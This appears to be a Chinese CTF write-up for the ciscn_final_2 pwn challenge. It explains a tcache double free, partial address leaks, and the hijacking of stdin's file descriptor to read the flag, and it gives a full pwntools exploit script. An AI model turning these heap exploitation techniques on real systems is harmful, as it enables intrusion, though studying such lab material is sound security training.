0%

ciscn_final_2(堆利用任意地址写4字节+劫持IO流的文件描述符)

首先,检查一下程序的保护机制

然后,我们用IDA分析一下

创建堆,我们只能写入一个4字节或2字节整数。

Show的时候最多也只能显示4字节数据

Delete功能没有清空指针,并且标志是共有的,因此可以通过add另外一种堆来绕过判断,造成double free。

程序开启了沙箱保护。

显然改one_gadget是不能的了。

初始化函数里,打开了flag的文件描述符,并且将文件描述符复制给了666。

退出时

Scanf会用到_IO_2_1_stdin_结构体,因此,我们可以劫持_IO_2_1_stdin_结构体,修改文件描述符为666.这样,调用scanf的时候,就会从flag文件里读取数据,然后printf输出flag的内容。

程序给我们的glibc版本为2.27,那么可以轻松完成利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#coding:utf8
from pwn import *

#sh = process('./ciscn_final_2')
sh = remote('node3.buuoj.cn',26759)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
malloc_hook_s = libc.symbols['__malloc_hook']
stdin_filno_s = libc.sym['_IO_2_1_stdin_'] + 0x70

def add(type,number):
sh.sendlineafter('which command?','1')
sh.sendlineafter('TYPE:',str(type))
sh.sendlineafter('your inode number:',str(number))

def delete(type):
sh.sendlineafter('which command?','2')
sh.sendlineafter('TYPE:',str(type))

def show(type):
sh.sendlineafter('which command?','3')
sh.sendlineafter('TYPE:',str(type))

#0
add(1,0x0ABCDEF)
delete(1)
#1~4
for i in range(4):
add(2,0xCDEF)
#构造double free
delete(2)
#注意值必须设置为0,这样不影响后面的tcache堆next指针的判断
add(1,0) #1
delete(2)
#泄露堆地址低4字节
show(2)
sh.recvuntil('your short type inode number :')
heap_low_2byte = int(sh.recvuntil('\n',drop = True))
if heap_low_2byte < 0:
heap_low_2byte += 0x10000
print 'heap_low_2byte=',hex(heap_low_2byte)
#将tcahce节点的next指针指向chunk1
add(2,heap_low_2byte - 0xA0)
add(2,0)
#1放入tcache bin
delete(1)
#修改chunk1的size
add(2,0x30 + 0x20 * 3 + 1)
#不断free chunk,直到填满tcache bin
for i in range(7):
delete(1)
#为了复原标志
add(2,0)
#得到unsorted bin
delete(1)
#泄露main_arena_xx后4字节
show(1)
sh.recvuntil('your int type inode number :')
main_arena_low_4byte = int(sh.recvuntil('\n',drop = True))
if main_arena_low_4byte < 0:
main_arena_low_4byte += 0x100000000
malloc_hook_low_4byte = (main_arena_low_4byte & 0xFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base_low_4byte = malloc_hook_low_4byte - malloc_hook_s
stdin_filno_low_4byte = libc_base_low_4byte + stdin_filno_s
print 'libc_base_low_4byte=',hex(libc_base_low_4byte)
print 'stdin_filno_low_4byte=',hex(stdin_filno_low_4byte)
#低字节覆盖tcache bin的next指针,使得其指向stdin结构体的fileno成员
add(2,stdin_filno_low_4byte & 0xFFFF)
add(1,0)
#申请到stdin_filno处,修改stdin结构体的fileno为flag文件的fileno
add(1,666)
#scanf从fileno里读出数据,由于fileno被篡改,因此读取的是我们的flag文件
sh.sendlineafter('which command?','4')

sh.interactive()